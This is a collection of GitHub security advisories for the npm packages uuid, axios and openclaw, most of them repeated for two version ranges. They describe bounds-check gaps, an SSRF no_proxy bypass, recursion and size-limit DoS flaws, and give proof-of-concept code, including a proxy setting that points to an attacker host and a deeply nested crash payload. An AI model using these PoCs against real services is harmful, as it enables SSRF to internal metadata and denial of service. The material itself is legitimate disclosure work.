deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-w5hq-g745-h8pq
Package: uuid (NPM)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-787: Out-of-bounds Write, CWE-1285: Improper Validation of Specified Index, Position, or Offset in Input
Vulnerable versions: >= 12.0.0, < 12.0.1
Patched in: 12.0.1

Summary: uuid: Missing buffer bounds check in v3/v5/v6 when buf is provided

Details:
### Summary

`v3`, `v5`, and `v6` accept external output buffers but do not reject out-of-range writes (small `buf` or large `offset`).  
By contrast, `v4`, `v1`, and `v7` explicitly throw `RangeError` on invalid bounds.

This inconsistency allows **silent partial writes** into caller-provided buffers.


### Affected code

- `src/v35.ts` (`v3`/`v5` path) writes `buf[offset + i]` without bounds validation.
- `src/v6.ts` writes `buf[offset + i]` without bounds validation.

### Reproducible PoC

```bash
cd /home/StrawHat/uuid
npm ci
npm run build

node --input-type=module -e "
import {v4,v5,v6} from './dist-node/index.js';
const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';
for (const [name,fn] of [
  ['v4',()=>v4({},new Uint8Array(8),4)],
  ['v5',()=>v5('x',ns,new Uint8Array(8),4)],
  ['v6',()=>v6({},new Uint8Array(8),4)],
]) {
  try { fn(); console.log(name,'NO_THROW'); }
  catch(e){ console.log(name,'THREW',e.name); }
}"
```

Observed:

- `v4 THREW RangeError`
- `v5 NO_THROW`
- `v6 NO_THROW`

Example partial overwrite evidence captured during audit:

```text
same true buf [
  170, 170, 170, 170,
   75, 224, 100,  63
]
v6 [
  187, 187, 187, 187,
   31,  19, 185,  64
]
```

### Security impact

- **Primary**: integrity/robustness issue (silent partial output).
- If an application assumes full UUID writes into preallocated buffers, this can produce malformed/truncated/partially stale identifiers without error.
- In systems where caller-controlled offsets/buffer sizes are exposed indirectly, this may become a security-relevant logic flaw.

### Suggested fix

Add the same guard used by `v4`/`v1`/`v7`:

```ts
if (offset < 0 || offset + 16 > buf.length) {
  throw new RangeError(`UUID byte range ${offset}:${offset + 15} is out of buffer bounds`);
}
```

Apply to:

- `src/v35.ts` (covers `v3` and `v5`)
- `src/v6.ts`
GitHub Security Advisory: GHSA-w5hq-g745-h8pq
Package: uuid (NPM)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-787: Out-of-bounds Write, CWE-1285: Improper Validation of Specified Index, Position, or Offset in Input
Vulnerable versions: >= 11.0.0, < 11.1.1
Patched in: 11.1.1

Summary: uuid: Missing buffer bounds check in v3/v5/v6 when buf is provided

Details:
### Summary

`v3`, `v5`, and `v6` accept external output buffers but do not reject out-of-range writes (small `buf` or large `offset`).  
By contrast, `v4`, `v1`, and `v7` explicitly throw `RangeError` on invalid bounds.

This inconsistency allows **silent partial writes** into caller-provided buffers.


### Affected code

- `src/v35.ts` (`v3`/`v5` path) writes `buf[offset + i]` without bounds validation.
- `src/v6.ts` writes `buf[offset + i]` without bounds validation.

### Reproducible PoC

```bash
cd /home/StrawHat/uuid
npm ci
npm run build

node --input-type=module -e "
import {v4,v5,v6} from './dist-node/index.js';
const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';
for (const [name,fn] of [
  ['v4',()=>v4({},new Uint8Array(8),4)],
  ['v5',()=>v5('x',ns,new Uint8Array(8),4)],
  ['v6',()=>v6({},new Uint8Array(8),4)],
]) {
  try { fn(); console.log(name,'NO_THROW'); }
  catch(e){ console.log(name,'THREW',e.name); }
}"
```

Observed:

- `v4 THREW RangeError`
- `v5 NO_THROW`
- `v6 NO_THROW`

Example partial overwrite evidence captured during audit:

```text
same true buf [
  170, 170, 170, 170,
   75, 224, 100,  63
]
v6 [
  187, 187, 187, 187,
   31,  19, 185,  64
]
```

### Security impact

- **Primary**: integrity/robustness issue (silent partial output).
- If an application assumes full UUID writes into preallocated buffers, this can produce malformed/truncated/partially stale identifiers without error.
- In systems where caller-controlled offsets/buffer sizes are exposed indirectly, this may become a security-relevant logic flaw.

### Suggested fix

Add the same guard used by `v4`/`v1`/`v7`:

```ts
if (offset < 0 || offset + 16 > buf.length) {
  throw new RangeError(`UUID byte range ${offset}:${offset + 15} is out of buffer bounds`);
}
```

Apply to:

- `src/v35.ts` (covers `v3` and `v5`)
- `src/v6.ts`
GitHub Security Advisory: GHSA-qmq6-f8pr-cx5x
Package: uuid (NPM)
Severity: LOW (CVSS 3.2)
CWE: CWE-670: Always-Incorrect Control Flow Implementation
Vulnerable versions: < 14.0.0
Patched in: 14.0.0

Summary: Duplicate Advisory: uuid: Missing buffer bounds check in v3/v5/v6 when buf is provided

Details:
## Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-w5hq-g745-h8pq. This link is maintained to preserve external references.

## Original Advisory
uuid before 14.0.0 can make unexpected writes when external output buffers are used, and the UUID version is 3, 5, or 6. In particular, UUID version 4, which is very commonly used, is unaffected by this issue.
GitHub Security Advisory: GHSA-m7pr-hjqh-92cm
Package: axios (NPM)
Severity: MODERATE (CVSS 6.8)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 0.31.0
Patched in: 0.31.1

Summary: Axios: no_proxy bypass via IP alias allows SSRF

Details:
The fix for no_proxy hostname normalization bypass (#10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it.

The shouldBypassProxy() function does pure string matching — it does not 
resolve IP aliases or loopback equivalents. As a result:
- no_proxy=localhost does NOT block 127.0.0.1 or [::1]
- no_proxy=127.0.0.1 does NOT block localhost or [::1]


POC :
process.env.no_proxy = 'localhost';
process.env.http_proxy = 'http://attacker-proxy:8888';

```(base) srisowmyanemani@Srisowmyas-MacBook-Pro axios % >....                     
    process.env.http_proxy = 'http://127.0.0.1:8888';

    console.log('=== Test 1: localhost (should bypass proxy) ===');
    try {
      await axios.get('http://localhost:7777/');
    } catch(e) {
      console.log('Error:', e.message);
    }

    console.log('');
    console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===');
    try {
      await axios.get('http://127.0.0.1:7777/');
    } catch(e) {
      console.log('Error:', e.message);
    }

    fakeProxy.close();
    internalServer.close();
  });
});
EOF
=== Test 1: localhost (should bypass proxy) ===
✅ Internal server hit directly (correct)

=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===
🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/
🚨 Host header: 127.0.0.1:7777. ```
 





<img width="1212" height="247" alt="image" src="https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7" />




Impact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data.

Fix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent.
GitHub Security Advisory: GHSA-m7pr-hjqh-92cm
Package: axios (NPM)
Severity: MODERATE (CVSS 6.8)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: >= 1.0.0, < 1.15.1
Patched in: 1.15.1

Summary: Axios: no_proxy bypass via IP alias allows SSRF

Details:
The fix for no_proxy hostname normalization bypass (#10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it.

The shouldBypassProxy() function does pure string matching — it does not 
resolve IP aliases or loopback equivalents. As a result:
- no_proxy=localhost does NOT block 127.0.0.1 or [::1]
- no_proxy=127.0.0.1 does NOT block localhost or [::1]


POC :
process.env.no_proxy = 'localhost';
process.env.http_proxy = 'http://attacker-proxy:8888';

```(base) srisowmyanemani@Srisowmyas-MacBook-Pro axios % >....                     
    process.env.http_proxy = 'http://127.0.0.1:8888';

    console.log('=== Test 1: localhost (should bypass proxy) ===');
    try {
      await axios.get('http://localhost:7777/');
    } catch(e) {
      console.log('Error:', e.message);
    }

    console.log('');
    console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===');
    try {
      await axios.get('http://127.0.0.1:7777/');
    } catch(e) {
      console.log('Error:', e.message);
    }

    fakeProxy.close();
    internalServer.close();
  });
});
EOF
=== Test 1: localhost (should bypass proxy) ===
✅ Internal server hit directly (correct)

=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===
🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/
🚨 Host header: 127.0.0.1:7777. ```
 





<img width="1212" height="247" alt="image" src="https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7" />




Impact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data.

Fix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent.
GitHub Security Advisory: GHSA-62hf-57xw-28j9
Package: axios (NPM)
Severity: MODERATE (CVSS 7.5)
CWE: CWE-674: Uncontrolled Recursion
Vulnerable versions: <= 0.31.0
Patched in: 0.31.1

Summary: Axios: unbounded recursion in toFormData causes DoS via deeply nested request data

Details:
### Summary
toFormData recursively walks nested objects with no depth limit, so a deeply nested value passed as request data crashes the Node.js process with a RangeError.

### Details
lib/helpers/toFormData.js:210 defines an inner `build(value, path)` that recurses into every object/array child (line 225: `build(el, path ? path.concat(key) : [key])`). The only safeguard is a `stack` array used to detect circular references; there is no maximum depth and no try/catch around the recursion. Because `build` calls itself once per nesting level, a payload nested roughly 2000+ levels deep exhausts V8's call stack.

`toFormData` is the serializer behind `FormData` request bodies and `AxiosURLSearchParams` (used by `buildURL` when `params` is an object with `URLSearchParams` unavailable, see `lib/helpers/buildURL.js:53` and `lib/helpers/AxiosURLSearchParams.js:36`). Any server-side code that forwards a client-supplied object into `axios({ data, params })` therefore reaches the recursive walker with attacker-controlled depth.

The RangeError is thrown synchronously from inside `forEach`, escapes `toFormData`, and propagates out of the axios request call. In typical Express/Fastify request handlers this terminates the running request; in synchronous startup paths or worker threads it can crash the whole process.

### PoC
```js
import toFormData from 'axios/lib/helpers/toFormData.js';
import FormData from 'form-data';

function nest(depth) {
  let o = { leaf: 1 };
  for (let i = 0; i < depth; i++) o = { a: o };
  return o;
}

try {
  toFormData(nest(2500), new FormData());
} catch (e) {
  console.log(e.name + ': ' + e.message);
}
// RangeError: Maximum call stack size exceeded
```

Server-side reachability example:
```js
// vulnerable proxy pattern
app.post('/forward', async (req, res) => {
  await axios.post('https://upstream/api', req.body); // req.body user-controlled
  res.send('ok');
});
// attacker POST /forward with {"a":{"a":{"a":... 2500 deep ...}}}
// -> toFormData build() overflows -> request handler crashes
```

Verified on axios 1.15.0 (latest, 2026-04-10), Node.js 20, 3/3 PoC runs reproduce the RangeError at depth 2500.

### Impact
A remote, unauthenticated attacker who can influence an object passed to axios as request `data` or `params` triggers an uncaught RangeError inside the synchronous recursive walker. In server-side applications that proxy or re-send client JSON through axios this crashes the request handler and, in worker/cluster setups, the process. Fix by bounding recursion depth in `toFormData`'s `build` function (reject or throw on depths beyond a configurable limit, e.g. 100) or rewriting the walker iteratively.
GitHub Security Advisory: GHSA-62hf-57xw-28j9
Package: axios (NPM)
Severity: MODERATE (CVSS 7.5)
CWE: CWE-674: Uncontrolled Recursion
Vulnerable versions: >= 1.0.0, < 1.15.1
Patched in: 1.15.1

Summary: Axios: unbounded recursion in toFormData causes DoS via deeply nested request data

Details:
### Summary
toFormData recursively walks nested objects with no depth limit, so a deeply nested value passed as request data crashes the Node.js process with a RangeError.

### Details
lib/helpers/toFormData.js:210 defines an inner `build(value, path)` that recurses into every object/array child (line 225: `build(el, path ? path.concat(key) : [key])`). The only safeguard is a `stack` array used to detect circular references; there is no maximum depth and no try/catch around the recursion. Because `build` calls itself once per nesting level, a payload nested roughly 2000+ levels deep exhausts V8's call stack.

`toFormData` is the serializer behind `FormData` request bodies and `AxiosURLSearchParams` (used by `buildURL` when `params` is an object with `URLSearchParams` unavailable, see `lib/helpers/buildURL.js:53` and `lib/helpers/AxiosURLSearchParams.js:36`). Any server-side code that forwards a client-supplied object into `axios({ data, params })` therefore reaches the recursive walker with attacker-controlled depth.

The RangeError is thrown synchronously from inside `forEach`, escapes `toFormData`, and propagates out of the axios request call. In typical Express/Fastify request handlers this terminates the running request; in synchronous startup paths or worker threads it can crash the whole process.

### PoC
```js
import toFormData from 'axios/lib/helpers/toFormData.js';
import FormData from 'form-data';

function nest(depth) {
  let o = { leaf: 1 };
  for (let i = 0; i < depth; i++) o = { a: o };
  return o;
}

try {
  toFormData(nest(2500), new FormData());
} catch (e) {
  console.log(e.name + ': ' + e.message);
}
// RangeError: Maximum call stack size exceeded
```

Server-side reachability example:
```js
// vulnerable proxy pattern
app.post('/forward', async (req, res) => {
  await axios.post('https://upstream/api', req.body); // req.body user-controlled
  res.send('ok');
});
// attacker POST /forward with {"a":{"a":{"a":... 2500 deep ...}}}
// -> toFormData build() overflows -> request handler crashes
```

Verified on axios 1.15.0 (latest, 2026-04-10), Node.js 20, 3/3 PoC runs reproduce the RangeError at depth 2500.

### Impact
A remote, unauthenticated attacker who can influence an object passed to axios as request `data` or `params` triggers an uncaught RangeError inside the synchronous recursive walker. In server-side applications that proxy or re-send client JSON through axios this crashes the request handler and, in worker/cluster setups, the process. Fix by bounding recursion depth in `toFormData`'s `build` function (reject or throw on depths beyond a configurable limit, e.g. 100) or rewriting the walker iteratively.
GitHub Security Advisory: GHSA-5c9x-8gcm-mpgx
Package: axios (NPM)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: <= 0.31.0
Patched in: 0.31.1

Summary: Axios' HTTP adapter-streamed uploads bypass maxBodyLength when maxRedirects: 0

Details:
### Summary

For stream request bodies, maxBodyLength is bypassed when maxRedirects is set to 0 (native http/https transport path). Oversized streamed uploads are sent fully even when the caller sets strict body limits.

### Details

Relevant flow in lib/adapters/http.js:
  - 556-564: maxBodyLength check applies only to buffered/non-stream data.
  - 681-682: maxRedirects === 0 selects native http/https transport.
  - 694-699: options.maxBodyLength is set, but native transport does not enforce it.
  - 925-945: stream is piped directly to socket (data.pipe(req)) with no Axios byte counting.

This creates a path-specific bypass for streamed uploads.

  ### PoC

Environment:

  - Axios main at commit f7a4ee2
  - Node v24.2.0

  Steps:
  1. Start an HTTP server that counts uploaded bytes and returns {received}.
  2. Send a 2 MiB Readable stream with:
      - adapter: 'http'
      - maxBodyLength: 1024
      - maxRedirects: 0

  Observed:
  - Request succeeds; server reports received: 2097152.

  Control checks:
  - Same stream with default/nonzero redirects: rejected with ERR_FR_MAX_BODY_LENGTH_EXCEEDED.
  - Buffered body with maxRedirects: 0: rejected with ERR_BAD_REQUEST.

  ### Impact
Type: DoS / uncontrolled upstream upload / resource exhaustion.
Impacted: Node.js services using streamed request bodies with maxBodyLength expecting hard enforcement, especially when following Axios guidance to use maxRedirects: 0 for streams.
GitHub Security Advisory: GHSA-5c9x-8gcm-mpgx
Package: axios (NPM)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: >= 1.0.0, < 1.15.1
Patched in: 1.15.1

Summary: Axios' HTTP adapter-streamed uploads bypass maxBodyLength when maxRedirects: 0

Details:
### Summary

For stream request bodies, maxBodyLength is bypassed when maxRedirects is set to 0 (native http/https transport path). Oversized streamed uploads are sent fully even when the caller sets strict body limits.

### Details

Relevant flow in lib/adapters/http.js:
  - 556-564: maxBodyLength check applies only to buffered/non-stream data.
  - 681-682: maxRedirects === 0 selects native http/https transport.
  - 694-699: options.maxBodyLength is set, but native transport does not enforce it.
  - 925-945: stream is piped directly to socket (data.pipe(req)) with no Axios byte counting.

This creates a path-specific bypass for streamed uploads.

  ### PoC

Environment:

  - Axios main at commit f7a4ee2
  - Node v24.2.0

  Steps:
  1. Start an HTTP server that counts uploaded bytes and returns {received}.
  2. Send a 2 MiB Readable stream with:
      - adapter: 'http'
      - maxBodyLength: 1024
      - maxRedirects: 0

  Observed:
  - Request succeeds; server reports received: 2097152.

  Control checks:
  - Same stream with default/nonzero redirects: rejected with ERR_FR_MAX_BODY_LENGTH_EXCEEDED.
  - Buffered body with maxRedirects: 0: rejected with ERR_BAD_REQUEST.

  ### Impact
Type: DoS / uncontrolled upstream upload / resource exhaustion.
Impacted: Node.js services using streamed request bodies with maxBodyLength expecting hard enforcement, especially when following Axios guidance to use maxRedirects: 0 for streams.
GitHub Security Advisory: GHSA-vf2m-468p-8v99
Package: axios (NPM)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: <= 0.31.0
Patched in: 0.31.1

Summary: Axios: HTTP adapter streamed responses bypass maxContentLength

Details:
### Summary

When responseType: 'stream' is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption.

### Details
In lib/adapters/http.js:
  - 786-789: for responseType === 'stream', Axios immediately settles with the stream.
  - 797-810: maxContentLength enforcement exists only in the non-stream buffering branch.

So callers may set maxContentLength and still receive/read arbitrarily large streamed responses.

### PoC

Environment:
- Axios main at commit f7a4ee2
- Node v24.2.0

 Steps:

1. Start an HTTP server that returns a 2 MiB response body.
2. Call Axios with:
   - adapter: 'http'
   - responseType: 'stream'
   - maxContentLength: 1024
3. Read the returned stream fully.

Observed:
- Success; full 2097152 bytes readable.

Control check:
- Same endpoint with responseType: 'text' and same maxContentLength: rejected with maxContentLength size of 1024 exceeded.

### Impact
Type: DoS / unbounded response processing.
Impacted: Node.js applications relying on maxContentLength as a safety boundary while using streamed Axios responses.
GitHub Security Advisory: GHSA-vf2m-468p-8v99
Package: axios (NPM)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: >= 1.0.0, < 1.15.1
Patched in: 1.15.1

Summary: Axios: HTTP adapter streamed responses bypass maxContentLength

Details:
### Summary

When responseType: 'stream' is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption.

### Details
In lib/adapters/http.js:
  - 786-789: for responseType === 'stream', Axios immediately settles with the stream.
  - 797-810: maxContentLength enforcement exists only in the non-stream buffering branch.

So callers may set maxContentLength and still receive/read arbitrarily large streamed responses.

### PoC

Environment:
- Axios main at commit f7a4ee2
- Node v24.2.0

 Steps:

1. Start an HTTP server that returns a 2 MiB response body.
2. Call Axios with:
   - adapter: 'http'
   - responseType: 'stream'
   - maxContentLength: 1024
3. Read the returned stream fully.

Observed:
- Success; full 2097152 bytes readable.

Control check:
- Same endpoint with responseType: 'text' and same maxContentLength: rejected with maxContentLength size of 1024 exceeded.

### Impact
Type: DoS / unbounded response processing.
Impacted: Node.js applications relying on maxContentLength as a safety boundary while using streamed Axios responses.
GitHub Security Advisory: GHSA-w9f5-8q83-qwpx
Package: openclaw (NPM)
Severity: MODERATE (CVSS 3.7)
CWE: CWE-799: Improper Control of Interaction Frequency
Vulnerable versions: < 2026.3.31
Patched in: 2026.3.31

Summary: Duplicate Advisory: OpenClaw: Fake DeviceToken Bypasses Shared Auth Rate Limiting

Details:
### Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-6p8r-6m93-557f. This link is maintained to preserve external references.

### Original Description
OpenClaw before 2026.3.31 contains an authentication rate limiting bypass vulnerability that allows attackers to circumvent shared authentication protections using fake device tokens. Attackers can exploit the mixed WebSocket authentication flow to bypass rate limiting controls and conduct brute force attacks against weak shared passwords.
GitHub Security Advisory: GHSA-m563-373q-885c
Package: openclaw (NPM)
Severity: MODERATE (CVSS 7.3)
CWE: CWE-829: Inclusion of Functionality from Untrusted Control Sphere
Vulnerable versions: < 2026.3.28
Patched in: 2026.3.28

Summary: Duplicate Advisory: OpenClaw: OpenShell `mirror` mode can convert untrusted sandbox files into explicitly enabled workspace hooks and execute them on the host during gateway startup

Details:
### Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-42mx-vp8m-j7qh. This link is maintained to preserve external references.

### Original Description
OpenShell before 2026.3.28 contains an arbitrary code execution vulnerability in mirror mode that converts untrusted sandbox files into workspace hooks. Attackers with mirror mode access can execute arbitrary code on the host during gateway startup by exploiting enabled workspace hooks.